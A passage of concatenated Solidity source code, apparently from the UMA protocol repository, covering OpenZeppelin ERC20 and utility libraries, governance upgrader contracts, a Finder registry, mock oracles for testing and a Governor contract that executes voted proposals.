from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ERC20 interface that includes burn and mint methods. */ abstract contract ExpandedIERC20 is IERC20 { /** * @notice Burns a specific amount of the caller's tokens. * @dev Only burns the caller's tokens, so it is safe to leave this method permissionless. */ function burn(uint256 value) external virtual; /** * @notice Mints tokens and adds them to the balance of the `to` address. * @dev This method should be permissioned to only allow designated parties to mint tokens. */ function mint(address to, uint256 value) external virtual returns (bool); function addMinter(address account) external virtual; function addBurner(address account) external virtual; function resetOwner(address account) external virtual; } pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.6.0; import "../math/Math.sol"; /** * @dev Collection of functions related to array types. */ library Arrays { /** * @dev Searches a sorted `array` and returns the first index that contains * a value greater or equal to `element`. If no such index exists (i.e. all * values in the array are strictly less than `element`), the array length is * returned. Time complexity O(log n). * * `array` is expected to be sorted in ascending order, and to contain no * repeated elements. */ function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); // Note that mid will always be strictly less than high (i.e. it will be a valid array index) // because Math.average rounds down (it does integer division with truncation). if (array[mid] > element) { high = mid; } else { low = mid + 1; } } // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound. if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } pragma solidity ^0.6.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../oracle/implementation/Finder.sol"; import "../oracle/implementation/Constants.sol"; import "../oracle/implementation/Voting.sol"; /** * @title A contract that executes a short series of upgrade calls that must be performed atomically as a part of the * upgrade process for Voting.sol. * @dev Note: the complete upgrade process requires more than just the transactions in this contract. These are only * the ones that need to be performed atomically. */ contract VotingUpgrader { // Existing governor is the only one who can initiate the upgrade. address public governor; // Existing Voting contract needs to be informed of the address of the new Voting contract. Voting public existingVoting; // New governor will be the new owner of the finder. // Finder contract to push upgrades to. Finder public finder; // Addresses to upgrade. address public newVoting; // Address to call setMigrated on the old voting contract. address public setMigratedAddress; /** * @notice Removes an address from the whitelist. * @param _governor the Governor contract address. * @param _existingVoting the current/existing Voting contract address. * @param _newVoting the new Voting deployment address. * @param _finder the Finder contract address. * @param _setMigratedAddress the address to set migrated. This address will be able to continue making calls to * old voting contract (used to claim rewards on others' behalf). Note: this address * can always be changed by the voters. */ constructor( address _governor, address _existingVoting, address _newVoting, address _finder, address _setMigratedAddress ) public { governor = _governor; existingVoting = Voting(_existingVoting); newVoting = _newVoting; finder = Finder(_finder); setMigratedAddress = _setMigratedAddress; } /** * @notice Performs the atomic portion of the upgrade process. * @dev This method updates the Voting address in the finder, sets the old voting contract to migrated state, and * returns ownership of the existing Voting contract and Finder back to the Governor. */ function upgrade() external { require(msg.sender == governor, "Upgrade can only be initiated by the existing governor."); // Change the addresses in the Finder. finder.changeImplementationAddress(OracleInterfaces.Oracle, newVoting); // Set the preset "migrated" address to allow this address to claim rewards on voters' behalf. // This also effectively shuts down the existing voting contract so new votes cannot be triggered. existingVoting.setMigrated(setMigratedAddress); // Transfer back ownership of old voting contract and the finder to the governor. existingVoting.transferOwnership(governor); finder.transferOwnership(governor); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "../interfaces/FinderInterface.sol"; /** * @title Provides addresses of the live contracts implementing certain interfaces. * @dev Examples of interfaces with implementations that Finder locates are the Oracle and Store interfaces. */ contract Finder is FinderInterface, Ownable { mapping(bytes32 => address) public interfacesImplemented; event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress); /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 of the interface name that is either changed or registered. * @param implementationAddress address of the implementation contract. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external override onlyOwner { interfacesImplemented[interfaceName] = implementationAddress; emit InterfaceImplementationChanged(interfaceName, implementationAddress); } /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the defined interface. */ function getImplementationAddress(bytes32 interfaceName) external view override returns (address) { address implementationAddress = interfacesImplemented[interfaceName]; require(implementationAddress != address(0x0), "Implementation not found"); return implementationAddress; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../oracle/implementation/Finder.sol"; import "../oracle/implementation/Constants.sol"; import "../oracle/implementation/Voting.sol"; /** * @title A contract to track a whitelist of addresses. */ contract Umip3Upgrader { // Existing governor is the only one who can initiate the upgrade. address public existingGovernor; // Existing Voting contract needs to be informed of the address of the new Voting contract. Voting public existingVoting; // New governor will be the new owner of the finder. address public newGovernor; // Finder contract to push upgrades to. Finder public finder; // Addresses to upgrade. address public voting; address public identifierWhitelist; address public store; address public financialContractsAdmin; address public registry; constructor( address _existingGovernor, address _existingVoting, address _finder, address _voting, address _identifierWhitelist, address _store, address _financialContractsAdmin, address _registry, address _newGovernor ) public { existingGovernor = _existingGovernor; existingVoting = Voting(_existingVoting); finder = Finder(_finder); voting = _voting; identifierWhitelist = _identifierWhitelist; store = _store; financialContractsAdmin = _financialContractsAdmin; registry = _registry; newGovernor = _newGovernor; } function upgrade() external { require(msg.sender == existingGovernor, "Upgrade can only be initiated by the existing governor."); // Change the addresses in the Finder. finder.changeImplementationAddress(OracleInterfaces.Oracle, voting); finder.changeImplementationAddress(OracleInterfaces.IdentifierWhitelist, identifierWhitelist); finder.changeImplementationAddress(OracleInterfaces.Store, store); finder.changeImplementationAddress(OracleInterfaces.FinancialContractsAdmin, financialContractsAdmin); finder.changeImplementationAddress(OracleInterfaces.Registry, registry); // Transfer the ownership of the Finder to the new Governor now that all the addresses have been updated. finder.transferOwnership(newGovernor); // Inform the existing Voting contract of the address of the new Voting contract and transfer its // ownership to the new governor to allow for any future changes to the migrated contract. existingVoting.setMigrated(voting); existingVoting.transferOwnership(newGovernor); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/Testable.sol"; import "../interfaces/OracleAncillaryInterface.sol"; import "../interfaces/IdentifierWhitelistInterface.sol"; import "../interfaces/FinderInterface.sol"; import "../implementation/Constants.sol"; // A mock oracle used for testing. contract MockOracleAncillary is OracleAncillaryInterface, Testable { // Represents an available price. Have to keep a separate bool to allow for price=0. struct Price { bool isAvailable; int256 price; // Time the verified price became available. uint256 verifiedTime; } // The two structs below are used in an array and mapping to keep track of prices that have been requested but are // not yet available. struct QueryIndex { bool isValid; uint256 index; } // Represents a (identifier, time) point that has been queried. struct QueryPoint { bytes32 identifier; uint256 time; bytes ancillaryData; } // Reference to the Finder. FinderInterface private finder; // Conceptually we want a (time, identifier) -> price map. mapping(bytes32 => mapping(uint256 => mapping(bytes => Price))) private verifiedPrices; // The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements. // Can we generalize this data structure? mapping(bytes32 => mapping(uint256 => mapping(bytes => QueryIndex))) private queryIndices; QueryPoint[] private requestedPrices; event PriceRequestAdded(address indexed requester, bytes32 indexed identifier, uint256 time, bytes ancillaryData); event PushedPrice( address indexed pusher, bytes32 indexed identifier, uint256 time, bytes ancillaryData, int256 price ); constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); } // Enqueues a request (if a request isn't already present) for the given (identifier, time) pair. function requestPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public override { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time][ancillaryData]; if (!lookup.isAvailable && !queryIndices[identifier][time][ancillaryData].isValid) { // New query, enqueue it for review. queryIndices[identifier][time][ancillaryData] = QueryIndex(true, requestedPrices.length); requestedPrices.push(QueryPoint(identifier, time, ancillaryData)); emit PriceRequestAdded(msg.sender, identifier, time, ancillaryData); } } // Pushes the verified price for a requested query. function pushPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData, int256 price ) external { verifiedPrices[identifier][time][ancillaryData] = Price(true, price, getCurrentTime()); QueryIndex storage queryIndex = queryIndices[identifier][time][ancillaryData]; require(queryIndex.isValid, "Can't push prices that haven't been requested"); // Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with // the contents of the last index (unless it is the last index). uint256 indexToReplace = queryIndex.index; delete queryIndices[identifier][time][ancillaryData]; uint256 lastIndex = requestedPrices.length - 1; if (lastIndex != indexToReplace) { QueryPoint storage queryToCopy = requestedPrices[lastIndex]; queryIndices[queryToCopy.identifier][queryToCopy.time][queryToCopy.ancillaryData].index = indexToReplace; requestedPrices[indexToReplace] = queryToCopy; } emit PushedPrice(msg.sender, identifier, time, ancillaryData, price); } // Checks whether a price has been resolved. function hasPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view override returns (bool) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time][ancillaryData]; return lookup.isAvailable; } // Gets a price that has already been resolved. function getPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view override returns (int256) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time][ancillaryData]; require(lookup.isAvailable); return lookup.price; } // Gets the queries that still need verified prices. function getPendingQueries() external view returns (QueryPoint[] memory) { return requestedPrices; } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/Testable.sol"; import "../interfaces/OracleInterface.sol"; import "../interfaces/IdentifierWhitelistInterface.sol"; import "../interfaces/FinderInterface.sol"; import "../implementation/Constants.sol"; // A mock oracle used for testing. contract MockOracle is OracleInterface, Testable { // Represents an available price. Have to keep a separate bool to allow for price=0. struct Price { bool isAvailable; int256 price; // Time the verified price became available. uint256 verifiedTime; } // The two structs below are used in an array and mapping to keep track of prices that have been requested but are // not yet available. struct QueryIndex { bool isValid; uint256 index; } // Represents a (identifier, time) point that has been queried. struct QueryPoint { bytes32 identifier; uint256 time; } // Reference to the Finder. FinderInterface private finder; // Conceptually we want a (time, identifier) -> price map. mapping(bytes32 => mapping(uint256 => Price)) private verifiedPrices; // The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements. // Can we generalize this data structure? mapping(bytes32 => mapping(uint256 => QueryIndex)) private queryIndices; QueryPoint[] private requestedPrices; constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); } // Enqueues a request (if a request isn't already present) for the given (identifier, time) pair. function requestPrice(bytes32 identifier, uint256 time) public override { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; if (!lookup.isAvailable && !queryIndices[identifier][time].isValid) { // New query, enqueue it for review. queryIndices[identifier][time] = QueryIndex(true, requestedPrices.length); requestedPrices.push(QueryPoint(identifier, time)); } } // Pushes the verified price for a requested query. function pushPrice( bytes32 identifier, uint256 time, int256 price ) external { verifiedPrices[identifier][time] = Price(true, price, getCurrentTime()); QueryIndex storage queryIndex = queryIndices[identifier][time]; require(queryIndex.isValid, "Can't push prices that haven't been requested"); // Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with // the contents of the last index (unless it is the last index). uint256 indexToReplace = queryIndex.index; delete queryIndices[identifier][time]; uint256 lastIndex = requestedPrices.length - 1; if (lastIndex != indexToReplace) { QueryPoint storage queryToCopy = requestedPrices[lastIndex]; queryIndices[queryToCopy.identifier][queryToCopy.time].index = indexToReplace; requestedPrices[indexToReplace] = queryToCopy; } } // Checks whether a price has been resolved. function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; return lookup.isAvailable; } // Gets a price that has already been resolved. function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; require(lookup.isAvailable); return lookup.price; } // Gets the queries that still need verified prices. function getPendingQueries() external view returns (QueryPoint[] memory) { return requestedPrices; } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/MultiRole.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../interfaces/FinderInterface.sol"; import "../interfaces/IdentifierWhitelistInterface.sol"; import "../interfaces/OracleInterface.sol"; import "./Constants.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /** * @title Takes proposals for certain governance actions and allows UMA token holders to vote on them. */ contract Governor is MultiRole, Testable { using SafeMath for uint256; using Address for address; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // Can set the proposer. Proposer // Address that can make proposals. } struct Transaction { address to; uint256 value; bytes data; } struct Proposal { Transaction[] transactions; uint256 requestTime; } FinderInterface private finder; Proposal[] public proposals; /**************************************** * EVENTS * ****************************************/ // Emitted when a new proposal is created. event NewProposal(uint256 indexed id, Transaction[] transactions); // Emitted when an existing proposal is executed. event ProposalExecuted(uint256 indexed id, uint256 transactionIndex); /** * @notice Construct the Governor contract. * @param _finderAddress keeps track of all contracts within the system based on their interfaceName. * @param _startingId the initial proposal id that the contract will begin incrementing from. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _finderAddress, uint256 _startingId, address _timerAddress ) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createExclusiveRole(uint256(Roles.Proposer), uint256(Roles.Owner), msg.sender); // Ensure the startingId is not set unreasonably high to avoid it being set such that new proposals overwrite // other storage slots in the contract. uint256 maxStartingId = 10**18; require(_startingId <= maxStartingId, "Cannot set startingId larger than 10^18"); // This just sets the initial length of the array to the startingId since modifying length directly has been // disallowed in solidity 0.6. assembly { sstore(proposals_slot, _startingId) } } /**************************************** * PROPOSAL ACTIONS * ****************************************/ /** * @notice Proposes a new governance action. Can only be called by the holder of the Proposer role. * @param transactions list of transactions that are being proposed. * @dev You can create the data portion of each transaction by doing the following: * ``` * const truffleContractInstance = await TruffleContract.deployed() * const data = truffleContractInstance.methods.methodToCall(arg1, arg2).encodeABI() * ``` * Note: this method must be public because of a solidity limitation that * disallows structs arrays to be passed to external functions. */ function propose(Transaction[] memory transactions) public onlyRoleHolder(uint256(Roles.Proposer)) { uint256 id = proposals.length; uint256 time = getCurrentTime(); // Note: doing all of this array manipulation manually is necessary because directly setting an array of // structs in storage to an an array of structs in memory is currently not implemented in solidity :/. // Add a zero-initialized element to the proposals array. proposals.push(); // Initialize the new proposal. Proposal storage proposal = proposals[id]; proposal.requestTime = time; // Initialize the transaction array. for (uint256 i = 0; i < transactions.length; i++) { require(transactions[i].to != address(0), "The `to` address cannot be 0x0"); // If the transaction has any data with it the recipient must be a contract, not an EOA. if (transactions[i].data.length > 0) { require(transactions[i].to.isContract(), "EOA can't accept tx with data"); } proposal.transactions.push(transactions[i]); } bytes32 identifier = _constructIdentifier(id); // Request a vote on this proposal in the DVM. OracleInterface oracle = _getOracle(); IdentifierWhitelistInterface supportedIdentifiers = _getIdentifierWhitelist(); supportedIdentifiers.addSupportedIdentifier(identifier); oracle.requestPrice(identifier, time); supportedIdentifiers.removeSupportedIdentifier(identifier); emit NewProposal(id, transactions); } /** * @notice Executes a proposed governance action that has been approved by voters. * @dev This can be called by any address. Caller is expected to send enough ETH to execute payable transactions. * @param id unique id for the executed proposal. * @param transactionIndex unique transaction index for the executed proposal. */ function executeProposal(uint256 id, uint256 transactionIndex) external payable { Proposal storage proposal = proposals[id]; int256 price = _getOracle().getPrice(_constructIdentifier(id), proposal.requestTime); Transaction memory transaction = proposal.transactions[transactionIndex]; require( transactionIndex == 0 || proposal.transactions[transactionIndex.sub(1)].to == address(0), "Previous tx not yet executed" ); require(transaction.to != address(0), "Tx already executed"); require(price != 0, "Proposal was rejected"); require(msg.value == transaction.value, "Must send exact amount of ETH"); // Delete the transaction before execution to avoid any potential re-entrancy issues. delete proposal.transactions[transactionIndex]; require(_executeCall(transaction.to, transaction.value, transaction.data), "Tx execution failed"); emit ProposalExecuted(id, transactionIndex); } /**************************************** * GOVERNOR STATE GETTERS * ****************************************/ /** * @notice Gets the total number of proposals (includes executed and non-executed). * @return uint256 representing the current number of proposals. */ function numProposals() external view returns (uint256) { return proposals.length; } /** * @notice Gets the proposal data for a particular id. * @dev after a proposal is executed, its data will be zeroed out, except for the request time. * @param id uniquely identify the identity of the proposal. * @return proposal struct containing transactions[] and requestTime. */ function getProposal(uint256 id) external view returns (Proposal memory) { return proposals[id]; } /**************************************** * PRIVATE GETTERS AND FUNCTIONS * ****************************************/ function _executeCall( address to, uint256 value, bytes memory data ) private returns (bool) { // Mostly copied from: // solhint-disable-next-line max-line-length // https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31 // solhint-disable-next-line no-inline-assembly bool success; assembly { let inputData := add(data, 0x20) let inputDataSize := mload(data) success := call(gas(), to, value, inputData, inputDataSize, 0, 0) } return success; } function _getOracle() private view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } // Returns a UTF-8 identifier representing a particular admin proposal. // The identifier is of the form "Admin n", where n is the proposal id provided. function _constructIdentifier(uint256 id) internal pure returns (bytes32) { bytes32 bytesId = _uintToUtf8(id); return _addPrefix(bytesId, "Admin ", 6); } // This method converts the integer `v` into a base-10, UTF-8 representation stored in a `bytes32` type. // If the input cannot be represented by 32 base-10 digits, it returns only the highest 32 digits. // This method is based off of this code: https://ethereum.stackexchange.com/a/6613/47801. function _uintToUtf8(uint256 v) internal pure returns (bytes32) { bytes32 ret; if (v == 0) { // Handle 0 case explicitly. ret = "0"; } else { // Constants. uint256 bitsPerByte = 8; uint256 base = 10; // Note: the output should be base-10. The below implementation will not work for bases > 10. uint256 utf8NumberOffset = 48; while (v > 0) { // Downshift the entire bytes32 to allow the new digit to be added at the "front" of the bytes32, which // translates to the beginning of the UTF-8 representation. ret = ret >> bitsPerByte; // Separate the last digit that remains in v by modding by the base of desired output representation. uint256 leastSignificantDigit = v % base; // Digits 0-9 are represented by 48-57 in UTF-8, so an offset must be added to create the character. bytes32 utf8Digit = bytes32(leastSignificantDigit + utf8NumberOffset); // The top byte of ret has already been cleared to make room for the new digit. // Upshift by 31 bytes to put it in position, and OR it with ret to leave the other characters untouched. ret |= utf8Digit << (31 * bitsPerByte); // Divide v by the base to remove the digit that was just added. v /= base; } } return ret; } // This method takes two UTF-8 strings represented as bytes32 and outputs one as a prefixed by the other. // `input` is the UTF-8 that should have the prefix prepended. // `prefix` is the UTF-8 that should be prepended onto input. // `prefixLength` is number of UTF-8 characters represented by `prefix`. // Notes: // 1. If the resulting UTF-8 is larger than 32 characters, then only the first 32 characters will be represented // by the bytes32 output. // 2. If `prefix` has more characters than `prefixLength`, the function will produce an invalid result. function _addPrefix( bytes32 input, bytes32 prefix, uint256 prefixLength ) internal pure returns (bytes32) { // Downshift `input` to open space at the "front" of the bytes32 bytes32 shiftedInput = input >> (prefixLength * 8); return shiftedInput | prefix; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../Governor.sol"; // GovernorTest exposes internal methods in the Governor for testing. contract GovernorTest is Governor { constructor(address _timerAddress) public Governor(address(0), 0, _timerAddress) {} function addPrefix( bytes32 input, bytes32 prefix, uint256 prefixLength ) external pure returns (bytes32) { return _addPrefix(input, prefix, prefixLength); } function uintToUtf8(uint256 v) external pure returns (bytes32 ret) { return _uintToUtf8(v); } function constructIdentifier(uint256 id) external pure returns (bytes32 identifier) { return _constructIdentifier(id); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../interfaces/StoreInterface.sol"; import "../interfaces/OracleAncillaryInterface.sol"; import "../interfaces/FinderInterface.sol"; import "../interfaces/IdentifierWhitelistInterface.sol"; import "../interfaces/OptimisticOracleInterface.sol"; import "./Constants.sol"; import "../../common/implementation/Testable.sol"; import "../../common/implementation/Lockable.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/AddressWhitelist.sol"; /** * @title Optimistic Requester. * @notice Optional interface that requesters can implement to receive callbacks. * @dev this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on * transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing * money themselves). */ interface OptimisticRequester { /** * @notice Callback for proposals. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data of the price being requested. */ function 